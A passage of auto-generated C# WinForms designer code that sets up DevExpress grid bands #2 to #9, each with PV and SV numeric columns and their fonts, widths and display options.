this.cgPoint1SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint1SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint1SvColumn.Visible = true;
this.cgPoint1SvColumn.Width = 68;
//
// cgPoint2Band
//
this.cgPoint2Band.Caption = "#2";
this.cgPoint2Band.Columns.Add(this.cgPoint2PvColumn);
this.cgPoint2Band.Columns.Add(this.cgPoint2SvColumn);
this.cgPoint2Band.Name = "cgPoint2Band";
this.cgPoint2Band.OptionsBand.AllowHotTrack = false;
this.cgPoint2Band.OptionsBand.AllowMove = false;
this.cgPoint2Band.VisibleIndex = 3;
this.cgPoint2Band.Width = 136;
//
// cgPoint2PvColumn
//
this.cgPoint2PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint2PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint2PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint2PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint2PvColumn.Caption = "PV";
this.cgPoint2PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint2PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint2PvColumn.FieldName = "PV2";
this.cgPoint2PvColumn.Name = "cgPoint2PvColumn";
this.cgPoint2PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint2PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint2PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint2PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint2PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint2PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint2PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint2PvColumn.Visible = true;
this.cgPoint2PvColumn.Width = 68;
//
// cgPoint2SvColumn
//
this.cgPoint2SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint2SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint2SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint2SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint2SvColumn.Caption = "SV";
this.cgPoint2SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint2SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint2SvColumn.FieldName = "SV2";
this.cgPoint2SvColumn.Name = "cgPoint2SvColumn";
this.cgPoint2SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint2SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint2SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint2SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint2SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint2SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint2SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint2SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint2SvColumn.Visible = true;
this.cgPoint2SvColumn.Width = 68;
//
// cgPoint3Band
//
this.cgPoint3Band.Caption = "#3";
this.cgPoint3Band.Columns.Add(this.cgPoint3PvColumn);
this.cgPoint3Band.Columns.Add(this.cgPoint3SvColumn);
this.cgPoint3Band.Name = "cgPoint3Band";
this.cgPoint3Band.OptionsBand.AllowHotTrack = false;
this.cgPoint3Band.OptionsBand.AllowMove = false;
this.cgPoint3Band.VisibleIndex = 4;
this.cgPoint3Band.Width = 136;
//
// cgPoint3PvColumn
//
this.cgPoint3PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint3PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint3PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint3PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint3PvColumn.Caption = "PV";
this.cgPoint3PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint3PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint3PvColumn.FieldName = "PV3";
this.cgPoint3PvColumn.Name = "cgPoint3PvColumn";
this.cgPoint3PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint3PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint3PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint3PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint3PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint3PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint3PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint3PvColumn.Visible = true;
this.cgPoint3PvColumn.Width = 68;
//
// cgPoint3SvColumn
//
this.cgPoint3SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint3SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint3SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint3SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint3SvColumn.Caption = "SV";
this.cgPoint3SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint3SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint3SvColumn.FieldName = "SV3";
this.cgPoint3SvColumn.Name = "cgPoint3SvColumn";
this.cgPoint3SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint3SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint3SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint3SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint3SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint3SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint3SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint3SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint3SvColumn.Visible = true;
this.cgPoint3SvColumn.Width = 68;
//
// cgPoint4Band
//
this.cgPoint4Band.Caption = "#4";
this.cgPoint4Band.Columns.Add(this.cgPoint4PvColumn);
this.cgPoint4Band.Columns.Add(this.cgPoint4SvColumn);
this.cgPoint4Band.Name = "cgPoint4Band";
this.cgPoint4Band.OptionsBand.AllowHotTrack = false;
this.cgPoint4Band.OptionsBand.AllowMove = false;
this.cgPoint4Band.VisibleIndex = 5;
this.cgPoint4Band.Width = 136;
//
// cgPoint4PvColumn
//
this.cgPoint4PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint4PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint4PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint4PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint4PvColumn.Caption = "PV";
this.cgPoint4PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint4PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint4PvColumn.FieldName = "PV4";
this.cgPoint4PvColumn.Name = "cgPoint4PvColumn";
this.cgPoint4PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint4PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint4PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint4PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint4PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint4PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint4PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint4PvColumn.Visible = true;
this.cgPoint4PvColumn.Width = 68;
//
// cgPoint4SvColumn
//
this.cgPoint4SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint4SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint4SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint4SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint4SvColumn.Caption = "SV";
this.cgPoint4SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint4SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint4SvColumn.FieldName = "SV4";
this.cgPoint4SvColumn.Name = "cgPoint4SvColumn";
this.cgPoint4SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint4SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint4SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint4SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint4SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint4SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint4SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint4SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint4SvColumn.Visible = true;
this.cgPoint4SvColumn.Width = 68;
//
// cgPoint5Band
//
this.cgPoint5Band.Caption = "#5";
this.cgPoint5Band.Columns.Add(this.cgPoint5PvColumn);
this.cgPoint5Band.Columns.Add(this.cgPoint5SvColumn);
this.cgPoint5Band.Name = "cgPoint5Band";
this.cgPoint5Band.OptionsBand.AllowHotTrack = false;
this.cgPoint5Band.OptionsBand.AllowMove = false;
this.cgPoint5Band.VisibleIndex = 6;
this.cgPoint5Band.Width = 136;
//
// cgPoint5PvColumn
//
this.cgPoint5PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint5PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint5PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint5PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint5PvColumn.Caption = "PV";
this.cgPoint5PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint5PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint5PvColumn.FieldName = "PV5";
this.cgPoint5PvColumn.Name = "cgPoint5PvColumn";
this.cgPoint5PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint5PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint5PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint5PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint5PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint5PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint5PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint5PvColumn.Visible = true;
this.cgPoint5PvColumn.Width = 68;
//
// cgPoint5SvColumn
//
this.cgPoint5SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint5SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint5SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint5SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint5SvColumn.Caption = "SV";
this.cgPoint5SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint5SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint5SvColumn.FieldName = "SV5";
this.cgPoint5SvColumn.Name = "cgPoint5SvColumn";
this.cgPoint5SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint5SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint5SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint5SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint5SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint5SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint5SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint5SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint5SvColumn.Visible = true;
this.cgPoint5SvColumn.Width = 68;
//
// cgPoint6Band
//
this.cgPoint6Band.Caption = "#6";
this.cgPoint6Band.Columns.Add(this.cgPoint6PvColumn);
this.cgPoint6Band.Columns.Add(this.cgPoint6SvColumn);
this.cgPoint6Band.Name = "cgPoint6Band";
this.cgPoint6Band.OptionsBand.AllowHotTrack = false;
this.cgPoint6Band.OptionsBand.AllowMove = false;
this.cgPoint6Band.VisibleIndex = 7;
this.cgPoint6Band.Width = 136;
//
// cgPoint6PvColumn
//
this.cgPoint6PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint6PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint6PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint6PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint6PvColumn.Caption = "PV";
this.cgPoint6PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint6PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint6PvColumn.FieldName = "PV6";
this.cgPoint6PvColumn.Name = "cgPoint6PvColumn";
this.cgPoint6PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint6PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint6PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint6PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint6PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint6PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint6PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint6PvColumn.Visible = true;
this.cgPoint6PvColumn.Width = 68;
//
// cgPoint6SvColumn
//
this.cgPoint6SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint6SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint6SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint6SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint6SvColumn.Caption = "SV";
this.cgPoint6SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint6SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint6SvColumn.FieldName = "SV6";
this.cgPoint6SvColumn.Name = "cgPoint6SvColumn";
this.cgPoint6SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint6SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint6SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint6SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint6SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint6SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint6SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint6SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint6SvColumn.Visible = true;
this.cgPoint6SvColumn.Width = 68;
//
// cgPoint7Band
//
this.cgPoint7Band.Caption = "#7";
this.cgPoint7Band.Columns.Add(this.cgPoint7PvColumn);
this.cgPoint7Band.Columns.Add(this.cgPoint7SvColumn);
this.cgPoint7Band.Name = "cgPoint7Band";
this.cgPoint7Band.OptionsBand.AllowHotTrack = false;
this.cgPoint7Band.OptionsBand.AllowMove = false;
this.cgPoint7Band.VisibleIndex = 8;
this.cgPoint7Band.Width = 136;
//
// cgPoint7PvColumn
//
this.cgPoint7PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint7PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint7PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint7PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint7PvColumn.Caption = "PV";
this.cgPoint7PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint7PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint7PvColumn.FieldName = "PV7";
this.cgPoint7PvColumn.Name = "cgPoint7PvColumn";
this.cgPoint7PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint7PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint7PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint7PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint7PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint7PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint7PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint7PvColumn.Visible = true;
this.cgPoint7PvColumn.Width = 68;
//
// cgPoint7SvColumn
//
this.cgPoint7SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint7SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint7SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint7SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint7SvColumn.Caption = "SV";
this.cgPoint7SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint7SvColumn.FieldName = "SV7";
this.cgPoint7SvColumn.Name = "cgPoint7SvColumn";
this.cgPoint7SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint7SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint7SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint7SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint7SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint7SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint7SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint7SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint7SvColumn.Visible = true;
this.cgPoint7SvColumn.Width = 68;
//
// cgPoint8Band
//
this.cgPoint8Band.Caption = "#8";
this.cgPoint8Band.Columns.Add(this.cgPoint8PvColumn);
this.cgPoint8Band.Columns.Add(this.cgPoint8SvColumn);
this.cgPoint8Band.Name = "cgPoint8Band";
this.cgPoint8Band.OptionsBand.AllowHotTrack = false;
this.cgPoint8Band.OptionsBand.AllowMove = false;
this.cgPoint8Band.VisibleIndex = 9;
this.cgPoint8Band.Width = 136;
//
// cgPoint8PvColumn
//
this.cgPoint8PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint8PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint8PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint8PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint8PvColumn.Caption = "PV";
this.cgPoint8PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint8PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint8PvColumn.FieldName = "PV8";
this.cgPoint8PvColumn.Name = "cgPoint8PvColumn";
this.cgPoint8PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint8PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint8PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint8PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint8PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint8PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint8PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint8PvColumn.Visible = true;
this.cgPoint8PvColumn.Width = 68;
//
// cgPoint8SvColumn
//
this.cgPoint8SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint8SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint8SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint8SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint8SvColumn.Caption = "SV";
this.cgPoint8SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint8SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint8SvColumn.FieldName = "SV8";
this.cgPoint8SvColumn.Name = "cgPoint8SvColumn";
this.cgPoint8SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint8SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint8SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint8SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint8SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint8SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint8SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint8SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint8SvColumn.Visible = true;
this.cgPoint8SvColumn.Width = 68;
//
// cgPoint9Band
//
this.cgPoint9Band.Caption = "#9";
this.cgPoint9Band.Columns.Add(this.cgPoint9PvColumn);
this.cgPoint9Band.Columns.Add(this.cgPoint9SvColumn);
this.cgPoint9Band.Name = "cgPoint9Band";
this.cgPoint9Band.OptionsBand.AllowHotTrack = false;
this.cgPoint9Band.OptionsBand.AllowMove = false;
this.cgPoint9Band.VisibleIndex = 10;
this.cgPoint9Band.Width = 136;
//
// cgPoint9PvColumn
//
this.cgPoint9PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint9PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint9PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint9PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint9PvColumn.Caption = "PV";
this.cgPoint9PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint9PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint9PvColumn.FieldName = "PV9";
this.cgPoint9PvColumn.Name = "cgPoint9PvColumn";
this.cgPoint9PvColumn.OptionsColumn.AllowIncrementalSearch = false;
